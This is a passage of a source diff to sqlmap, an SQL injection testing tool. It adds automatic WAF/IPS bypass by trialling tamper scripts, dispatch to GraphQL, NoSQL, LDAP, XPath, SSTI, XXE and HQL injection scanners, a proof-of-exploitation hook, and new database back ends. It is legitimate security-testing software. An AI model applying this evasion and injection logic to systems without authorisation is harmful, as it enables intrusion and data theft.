fingerprint has already been neutralized up-front (non-scanner + User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled + and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection() + through a candidate is itself the validation - it succeeds only if the resulting payload both + passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically. + """ + + from lib.utils.wafbypass import candidateTampers, loadTamper + + retVal = None + + savedTamper = kb.tamperFunctions + savedTechnique = conf.technique + conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check + + candidates = candidateTampers(identifiedWafs=kb.identifiedWafs) + + try: + for count, name in enumerate(candidates): + if count >= WAF_BYPASS_MAX_TRIALS: + break + + function = loadTamper(name) + if function is None: + continue + + kb.tamperFunctions = [function] + logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name) + + injection = checkSqlInjection(place, parameter, value) + if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name) + logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name) + retVal = injection + return retVal + + if kb.droppingRequests and count >= 2: + logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass") + break + finally: + conf.technique = savedTechnique + if retVal is None: # nothing worked - leave tampering untouched + kb.tamperFunctions = savedTamper + # honest bail: say it could not be bypassed and what to try manually + logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)") + + return retVal + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -181,9 +235,29 @@ def _showInjections(): conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: + # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without + # printing them (the human-readable injection points are rendered just below) + if conf.reportJson: + conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET) + conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES) + data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) + # when results were resumed (no test requests this run), nudge if the session file is stale - + # this is the common "why is it showing old/unexpected results?" confusion + if kb.testQueryCount == 0 and not conf.freshQueries: + try: + days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600)) + except (OSError, IOError, TypeError): + days = 0 + + if days >= HASHDB_STALE_DAYS: + warnMsg = "results above were resumed from a session file last updated %d days ago, " % days + warnMsg += "so they may be stale. Rerun with '--flush-session' to retest " + warnMsg += "or '--fresh-queries' to ignore cached query results" + logger.warning(warnMsg) + if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" @@ -431,13 +505,21 @@ def start(): infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) + if conf.graphql and PLACE.GET not in conf.parameters: + # graphqlScan() is self-contained and operates on the GraphQL + # document, not on HTTP parameters. A dummy GET parameter keeps + # _setRequestParams() from appending the URI injection marker ('*') + # to a bare endpoint URL (which would break detection under + # '--batch'); it is discarded by graphqlScan() on entry. + conf.parameters[PLACE.GET] = "x" + setupTargetEnv() - if not checkConnection(suppressOutput=conf.forms): + if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms): continue if conf.rParam and kb.originalPage: - kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) + kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list)) for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage): name, _ = match.groups() @@ -447,13 +529,52 @@ def start(): checkWaf() + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") + + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + + if conf.nosql: + from lib.techniques.nosql.inject import nosqlScan + nosqlScan() + continue + + if conf.ldap: + from lib.techniques.ldap.inject import ldapScan + ldapScan() + continue + + if conf.xpath: + from lib.techniques.xpath.inject import xpathScan + xpathScan() + continue + + if conf.ssti: + from lib.techniques.ssti.inject import sstiScan + sstiScan() + continue + + if conf.xxe: + from lib.techniques.xxe.inject import xxeScan + xxeScan() + continue + + if conf.hql: + from lib.techniques.hql.inject import hqlScan + hqlScan() + continue + if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: - # NOTE: this is not needed anymore, leaving only to display - # a warning message to the user in case the page is not stable + if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)): + # NOTE: besides the not-stable warning, this marks dynamic content for removal, which + # UNION column-count detection relies on too (it compares pages) - so it must run when + # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page) checkStability() # Do a little prioritization reorder of a testable parameter list @@ -512,6 +633,23 @@ def start(): testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + if paramKey in kb.testedParams: testSqlInj = False @@ -533,7 +671,7 @@ def start(): infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): + elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)): testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) @@ -546,7 +684,7 @@ def start(): logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)): testSqlInj = False infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) @@ -588,6 +726,14 @@ def start(): logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) + + # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but + # the standard payloads were blocked -> try to auto-bypass it (request + # fingerprint neutralization and/or a tamper script) + if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \ + and not conf.tamper and not kb.tamperFunctions: + injection = _autoWafBypass(place, parameter, value) or injection + proceed = not kb.endDetection injectable = False @@ -687,9 +833,13 @@ def start(): errMsg += "does not match exclusively True responses." if not conf.tamper: - errMsg += " If you suspect that there is some kind of protection mechanism " - errMsg += "involved (e.g. WAF) maybe you could try to use " - errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" + if kb.identifiedWafs: + errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs) + errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')" + else: + errMsg += " If you suspect that there is some kind of protection mechanism " + errMsg += "involved (e.g. WAF) maybe you could try to use " + errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" @@ -712,7 +862,12 @@ def start(): condition = True if condition: - action() + try: + action() + finally: + if conf.proof: + from lib.utils.prove import proveExploitation + proveExploitation() except KeyboardInterrupt: if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 227a2ceb73f..0721cd1253b 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,11 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend +from lib.core.common import getSafeExString +from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.dicts import DBMS_DICT @@ -14,6 +16,7 @@ from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES @@ -22,6 +25,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -38,62 +42,41 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.core.settings import SPANNER_ALIASES from lib.utils.sqlalchemy import SQLAlchemy -from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access import AccessMap -from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap -from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap -from plugins.dbms.cratedb.connector import Connector as CrateDBConn +from plugins.dbms.clickhouse import ClickHouseMap from plugins.dbms.cratedb import CrateDBMap -from plugins.dbms.cubrid.connector import Connector as CubridConn from plugins.dbms.cubrid import CubridMap -from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2 import DB2Map -from plugins.dbms.derby.connector import Connector as DerbyConn from plugins.dbms.derby import DerbyMap -from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn from plugins.dbms.extremedb import ExtremeDBMap -from plugins.dbms.firebird.connector import Connector as FirebirdConn from plugins.dbms.firebird import FirebirdMap -from plugins.dbms.frontbase.connector import Connector as FrontBaseConn from plugins.dbms.frontbase import FrontBaseMap -from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.h2 import H2Map -from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn +from plugins.dbms.hana import HANAMap from plugins.dbms.hsqldb import HSQLDBMap -from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.informix import InformixMap -from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.maxdb import MaxDBMap -from plugins.dbms.mckoi.connector import Connector as MckoiConn from plugins.dbms.mckoi import MckoiMap -from plugins.dbms.mimersql.connector import Connector as MimerSQLConn from plugins.dbms.mimersql import MimerSQLMap -from plugins.dbms.monetdb.connector import Connector as MonetDBConn from plugins.dbms.monetdb import MonetDBMap -from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn from plugins.dbms.mssqlserver import MSSQLServerMap -from plugins.dbms.mysql.connector import Connector as MySQLConn from plugins.dbms.mysql import MySQLMap -from plugins.dbms.oracle.connector import Connector as OracleConn from plugins.dbms.oracle import OracleMap -from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn from plugins.dbms.postgresql import PostgreSQLMap -from plugins.dbms.presto.connector import Connector as PrestoConn from plugins.dbms.presto import PrestoMap -from plugins.dbms.raima.connector import Connector as RaimaConn from plugins.dbms.raima import RaimaMap -from plugins.dbms.sqlite.connector import Connector as SQLiteConn from plugins.dbms.sqlite import SQLiteMap -from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.sybase import SybaseMap -from plugins.dbms.vertica.connector import Connector as VerticaConn from plugins.dbms.vertica import VerticaMap -from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn from plugins.dbms.virtuoso import VirtuosoMap +from plugins.dbms.snowflake import SnowflakeMap +from plugins.dbms.spanner import SpannerMap def setHandler(): """ @@ -102,33 +85,37 @@ def setHandler(): """ items = [ - (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), - (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), - (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), - (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), - (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), - (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), - (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), - (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), - (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), - (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), - (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), - (DBMS.H2, H2_ALIASES, H2Map, H2Conn), - (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), - (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), - (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), - (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), - (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), - (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), - (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), - (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), - (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), - (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), - (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), - (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn), - (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn), - (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn), - (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), + (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"), + (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"), + (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"), + (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"), + (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"), + (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"), + (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"), + (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"), + (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"), + (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"), + (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"), + (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"), + (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"), + (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"), + (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"), + (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"), + (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"), + (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"), + (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"), + (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"), + (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"), + (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"), + (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"), + (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"), + (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"), + (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"), + (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"), + (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"), + (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"), + (DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) @@ -136,7 +123,7 @@ def setHandler(): items.remove(_) items.insert(0, _) - for dbms, aliases, Handler, Connector in items: + for dbms, aliases, Handler, connector in items: if conf.forceDbms: if conf.forceDbms.lower() not in aliases: continue @@ -148,9 +135,12 @@ def setHandler(): continue handler = Handler() - conf.dbmsConnector = Connector() + conf.dbmsConnector = None if conf.direct: + _ = __import__(connector, fromlist=['Connector']) + conf.dbmsConnector = _.Connector() + exception = None dialect = DBMS_DICT[dbms][3] @@ -167,16 +157,17 @@ def setHandler(): if not dialect or exception: try: conf.dbmsConnector.connect() - except Exception as ex: + except NameError: if exception: raise exception else: - if not isinstance(ex, NameError): - raise - else: - msg = "support for direct connection to '%s' is not available. " % dbms - msg += "Please rerun with '--dependencies'" - raise SqlmapConnectionException(msg) + msg = "support for direct connection to '%s' is not available. " % dbms + msg += "Please rerun with '--dependencies'" + raise SqlmapConnectionException(msg) + except: + if exception: + singleTimeWarnMessage(getSafeExString(exception)) + raise if conf.forceDbms == dbms or handler.checkDbms(): if kb.resolutionDbms: diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index 3a09c44508d..520fc99146d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -45,11 +45,13 @@ from lib.core.settings import BOUNDED_BASE64_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import MYSQL_UNION_VALUE_CAST from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -68,9 +70,9 @@ def payloadDirect(self, query): query = self.cleanupPayload(query) if query.upper().startswith("AND "): - query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + query = re.sub(r"(?i)AND ", "SELECT ", query, count=1) elif query.upper().startswith(" UNION ALL "): - query = re.sub(r"(?i) UNION ALL ", "", query, 1) + query = re.sub(r"(?i) UNION ALL ", "", query, count=1) elif query.startswith("; "): query = query.replace("; ", "", 1) @@ -118,7 +120,10 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place == PLACE.URI: origValue = origValue.split(kb.customInjectionMark)[0] else: - origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) + try: + origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) + except IndexError: + pass origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':', ',', '&'): if char in origValue: @@ -185,6 +190,11 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\') newValue = self.adjustLateValues(newValue) + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488 + if kb.customInjectionMark in origValue: + payload = newValue.replace(origValue, "") + newValue = origValue.replace(kb.customInjectionMark, payload) + # TODO: support for POST_HINT newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) @@ -194,7 +204,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - _ = "%s%s" % (origValue, kb.customInjectionMark) + _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) @@ -211,7 +221,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: if base64Encoding: retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) - match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal) if match: retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) else: @@ -222,7 +232,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N def _(pattern, repl, string): retVal = string match = None - for match in re.finditer(pattern, string): + + for match in re.finditer(pattern, string or ""): pass if match: @@ -400,6 +411,9 @@ def adjustLateValues(self, payload): """ if payload: + if Backend.isDbms(DBMS.SPANNER): + payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ") + for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) payload = payload.replace(match.group(0), _) @@ -417,6 +431,11 @@ def adjustLateValues(self, payload): payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,): + payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload) + if "SYS.USER$" in payload: + payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload) + payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) @@ -489,10 +508,26 @@ def nullAndCastField(self, field): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] - if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): + kb.binaryField = conf.binaryFields and field in conf.binaryFields + hexConvert = conf.hexConvert or kb.binaryField + + # For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one: + # text-casting binary first (e.g. CAST( AS NCHAR) on MySQL) NULLs non-text bytes, so HEX() + # would encode the NULL placeholder and silently lose the value (e.g. binary-stored password + # hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because + # raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'), + # which is NOT the hex of its string representation. Every DBMS hex function takes binary directly + # EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too. + hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL) + + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field + if hexConvert: + nulledCastedField = self.hexConvertField(nulledCastedField) else: - if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): + if hexRaw: + nulledCastedField = self.hexConvertField(field) + elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,): @@ -502,9 +537,8 @@ def nullAndCastField(self, field): else: nulledCastedField = rootQuery.isnull.query % nulledCastedField - kb.binaryField = conf.binaryFields and field in conf.binaryFields - if conf.hexConvert or kb.binaryField: - nulledCastedField = self.hexConvertField(nulledCastedField) + if hexConvert and not hexRaw: + nulledCastedField = self.hexConvertField(nulledCastedField) if suffix: nulledCastedField += suffix @@ -658,6 +692,49 @@ def preprocessField(self, table, field): pass return retVal + @staticmethod + def _collapseFieldDelimiterSpace(query): + """ + Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside + single/double quoted string literals, so a comma-space inside a literal (e.g. in a + WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling + mirrors splitFields()/zeroDepthSearch(). + + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t") + 'SELECT a,b FROM t' + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'") + "SELECT a,b FROM t WHERE name='John, Jr'" + """ + + retVal = [] + quote = None + index = 0 + length = len(query) + + while index < length: + char = query[index] + if quote: + retVal.append(char) + if char == quote: + if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '') + retVal.append(query[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + retVal.append(char) + elif char == ',' and index + 1 < length and query[index + 1] == ' ': + retVal.append(',') # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + retVal.append(char) + index += 1 + + return "".join(retVal) + def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, @@ -686,7 +763,7 @@ def concatQuery(self, query, unpack=True): if unpack: concatenatedQuery = "" - query = query.replace(", ", ',') + query = self._collapseFieldDelimiterSpace(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) @@ -709,7 +786,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif 